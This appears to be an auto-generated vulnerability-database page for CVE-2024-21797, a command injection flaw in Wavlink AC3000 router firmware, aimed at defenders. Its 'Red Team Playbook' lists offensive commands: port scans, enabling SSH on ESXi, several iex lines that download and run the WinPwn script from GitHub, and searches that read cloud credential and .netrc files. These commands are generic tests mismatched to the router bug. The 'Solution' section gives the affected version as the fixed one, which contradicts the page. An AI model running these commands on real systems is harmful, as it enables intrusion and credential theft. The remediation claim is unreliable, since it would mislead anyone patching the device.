CVE-2024-21797
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the adm.cgi set_TR069() functionality of the Wavlink AC3000 M33A8.V5030.210505 firmware. The affected component processes HTTP requests without adequately sanitizing user-supplied parameters, allowing embedded shell commands to be executed. The flaw exists specifically in the command execution pathway triggered by crafted HTTP requests targeting the TR-069 management interface.
Vulnerability Description
A command execution vulnerability exists in the adm.cgi set_TR069() functionality of Wavlink AC3000 M33A8.V5030.210505. A specially crafted HTTP request can lead to arbitrary command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
Impact
An attacker with valid credentials can execute arbitrary commands on the device, potentially leading to full system compromise including data exfiltration, device manipulation, or network pivoting. The attack requires network access to the device's HTTP management interface and authenticated session (PR:H), but no user interaction. The vulnerability’s CVSS vector indicates high confidentiality, integrity, and availability impact (C:H/I:H/A:H), enabling complete control over the affected system.
Solution
Wavlink has released firmware updates addressing this vulnerability in version M33A8.V5030.210505. Users should upgrade to the latest firmware as detailed in the advisory at https://talosintelligence.com/vulnerability_reports/TALOS-2024-2028. No specific workarounds are provided; applying the vendor-supplied patch is the recommended remediation to eliminate the command injection risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A command execution vulnerability has been identified in the adm.cgi set_TR069() functionality of the Wavlink AC3000 M33A8 router firmware version V5030.210505. This flaw arises from improper handling of specially crafted HTTP requests, allowing an authenticated attacker to execute arbitrary commands on the affected device. The vulnerability stems from a lack of sufficient input validation and sanitization processes, which can be exploited by sending malicious payloads through the HTTP interface. As a result, an attacker with valid credentials can manipulate the device's command execution environment, leading to unauthorized actions that could compromise the integrity and confidentiality of the device and the network it serves.
The attack vector for this vulnerability is primarily through authenticated HTTP requests. An attacker must first gain access to the device, which may involve exploiting weak or default credentials. Once authenticated, the attacker can craft specific HTTP requests targeting the vulnerable functionality, thereby executing arbitrary commands on the device. This could include altering configurations, installing malicious software, or even pivoting to other devices on the network. Given the nature of network devices, the potential for lateral movement within a network is significant, making this vulnerability particularly concerning for organizations relying on Wavlink routers for their network infrastructure.
The real-world impact of this vulnerability can be severe, especially for businesses that depend on the affected router for their operations. Successful exploitation can lead to unauthorized access to sensitive data, disruption of services, or even complete network compromise. The potential for data breaches and the subsequent regulatory repercussions can result in substantial financial losses and damage to an organization's reputation. Furthermore, the ability to manipulate network configurations can lead to service outages, affecting customer trust and operational continuity. The risk is amplified in environments where these devices are used as gateways to critical systems or sensitive information.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware to the latest versions provided by the manufacturer is crucial, as updates often include patches for known vulnerabilities. Additionally, organizations should enforce strong authentication practices, including the use of complex passwords and multi-factor authentication, to reduce the risk of unauthorized access. Network segmentation can also help limit the potential impact of an exploited device by isolating critical systems from less secure devices. Monitoring network traffic for unusual patterns or unauthorized command executions can aid in early detection of exploitation attempts, allowing for timely response and remediation.
In conclusion, the command execution vulnerability in the Wavlink AC3000 M33A8 router firmware presents significant risks for organizations that utilize this device. Understanding the technical details, potential attack vectors, and real-world implications is essential for cybersecurity professionals tasked with protecting their networks. By implementing robust detection and mitigation strategies, organizations can safeguard against exploitation and maintain the integrity of their network infrastructure.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wavlink | Wl-Wn533a8 Firmware | m33a8.v5030.210505 |
cpe:2.3:o:wavlink:wl-wn533a8_firmware:m33a8.v5030.210505:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-21797 |
| talosintelligence.com |
GitHub CVE
|
https://talosintelligence.com/vulnerability_reports/TALOS-2024-2028 |
| talosintelligence.com |
NVD API
Exploit
Third Party Advisory
|
https://www.talosintelligence.com/vulnerability_reports/TALOS-2024-2028 |